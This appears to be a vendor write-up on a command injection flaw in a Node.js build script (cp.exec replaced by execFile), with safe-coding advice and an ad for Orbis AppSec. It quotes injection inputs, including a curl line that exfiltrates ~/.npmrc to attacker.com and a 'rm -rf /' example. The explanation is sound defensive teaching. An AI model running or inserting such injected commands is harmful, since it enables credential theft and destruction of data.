Introduction
In the scripts/build.cjs file at line 33, a high-severity command injection vulnerability was lurking in the build system's task execution logic. The build() function accepted an execStr parameter and passed it directly to cp.exec(), a Node.js function that interprets shell metacharacters. While this build script runs in a controlled environment today, this pattern represents an "exploit primitive"—a code weakness that could be chained with other vulnerabilities by increasingly sophisticated automated attack tools.
The vulnerable code path existed in the else branch of the build() function, where commands that weren't file-based were executed through the shell:
child = cp.exec(execStr)
For developers maintaining build systems, CI/CD pipelines, or any Node.js tooling that spawns processes, understanding why this pattern is dangerous—and how to fix it—is essential.
The Vulnerability Explained
What Makes cp.exec() Dangerous?
The child_process.exec() function in Node.js spawns a shell (typically /bin/sh on Unix or cmd.exe on Windows) and executes the provided string within that shell context. This means shell metacharacters like ;, |, &&, $(), and backticks are interpreted.
Here's the vulnerable code from build.cjs:
async function build(type, execStr, taskName = execStr) {
// ...
if (type === 'file') {
child = cp.spawn('node', ['--no-warnings', execStr])
} else {
child = cp.exec(execStr) // VULNERABLE: shell interprets execStr
}
// ...
}
The execStr argument comes from a function parameter. If any code path allowed user-controlled data to flow into this parameter, an attacker could inject additional commands.
Attack Scenario
Imagine if execStr were derived from a configuration file, environment variable, or package.json field that could be influenced by a malicious dependency or contributor. An attacker could craft an input like:
npm run build; curl http://attacker.com/exfil?data=$(cat ~/.npmrc)
When passed to cp.exec(), the shell would:
1. Execute the legitimate build command
2. Execute the injected curl command, exfiltrating sensitive credentials
Because this is a Node.js library, the vulnerability affects all downstream consumers who use this package in their build processes.
Why This Matters
Even though execStr may not be directly user-controllable today, this code pattern:
- Creates technical debt that future developers might not recognize as dangerous
- Could become exploitable if the codebase evolves
- Represents a "primitive" that automated exploit tools can identify and chain with other weaknesses
The Fix
The fix replaces cp.exec() with cp.execFile(), fundamentally changing how the command is executed:
Before (Vulnerable)
child = cp.exec(execStr)
After (Secure)
const [cmd, ...cmdArgs] = execStr.split(' ')
child = cp.execFile(cmd, cmdArgs)
Why This Works
The execFile() function differs from exec() in a critical way: it does not spawn a shell. Instead, it directly invokes the specified executable with the provided arguments array.
Here's what changes:
| Aspect | exec(execStr) |
execFile(cmd, cmdArgs) |
|---|---|---|
| Shell invoked | Yes | No |
| Metacharacter interpretation | ;, |, && etc. are processed |
Treated as literal strings |
| Injection risk | High | Eliminated |
By splitting execStr into a command and arguments array, then passing them to execFile(), the fix ensures that:
- The command (cmd) is executed directly
- Arguments (cmdArgs) are passed as-is without shell interpretation
- An input like build; rm -rf / would fail because execFile() would look for a literal executable named build; rm -rf /
Prevention & Best Practices
1. Prefer execFile() or spawn() Over exec()
Whenever possible, use child_process functions that don't invoke a shell:
// Avoid
const { exec } = require('child_process');
exec(`grep ${userInput} file.txt`); // Dangerous!
// Prefer
const { execFile } = require('child_process');
execFile('grep', [userInput, 'file.txt']); // Safe
2. Use Argument Arrays, Not String Concatenation
Build commands as arrays rather than concatenated strings:
// Dangerous pattern
const cmd = `process --file=${filename}`;
// Safe pattern
const args = ['--file=' + filename];
execFile('process', args);
3. Validate and Sanitize Inputs
Even with execFile(), validate inputs against allowlists when possible:
const ALLOWED_COMMANDS = ['build', 'test', 'lint'];
if (!ALLOWED_COMMANDS.includes(cmd)) {
throw new Error('Invalid command');
}
4. Use Static Analysis Tools
Configure Semgrep or similar tools to flag dangerous patterns:
rules:
- id: no-exec-with-variable
pattern: exec($VAR)
message: "Avoid exec() with variable input"
severity: ERROR
Key Takeaways
- The
build()function inbuild.cjswas usingcp.exec(execStr)which passes the command through a shell, enabling potential injection attacks - Splitting the command string and using
execFile()eliminates shell interpretation entirely, making injection impossible at this code point - Build scripts and CI/CD tooling are high-value targets because they often run with elevated privileges and access to secrets
- "Exploit primitives" should be removed proactively—even if not immediately exploitable, they lower the bar for future attacks
- Node.js libraries affect all downstream consumers, making defensive hardening especially important
How Orbis AppSec Detected This
- Source: The
execStrparameter passed to thebuild()function at line 30 ofscripts/build.cjs - Sink: The
cp.exec(execStr)call at line 33, which passes the argument through a shell interpreter - Missing control: No validation or sanitization of
execStrbefore shell execution; use of shell-invokingexec()instead of direct execution - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Replaced
cp.exec(execStr)withcp.execFile(cmd, cmdArgs)to execute commands directly without shell interpretation
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This command injection vulnerability in build.cjs demonstrates why the choice between exec() and execFile() matters. While the vulnerable code may not have been immediately exploitable, it represented a dangerous pattern that could be leveraged as attack tooling becomes more sophisticated. By replacing cp.exec(execStr) with cp.execFile(cmd, cmdArgs), the fix eliminates shell interpretation entirely—a defense-in-depth approach that protects against both known and future attack vectors.
For developers working with Node.js build systems, the lesson is clear: avoid shell-invoking functions when direct execution is possible. Your future self—and your downstream users—will thank you.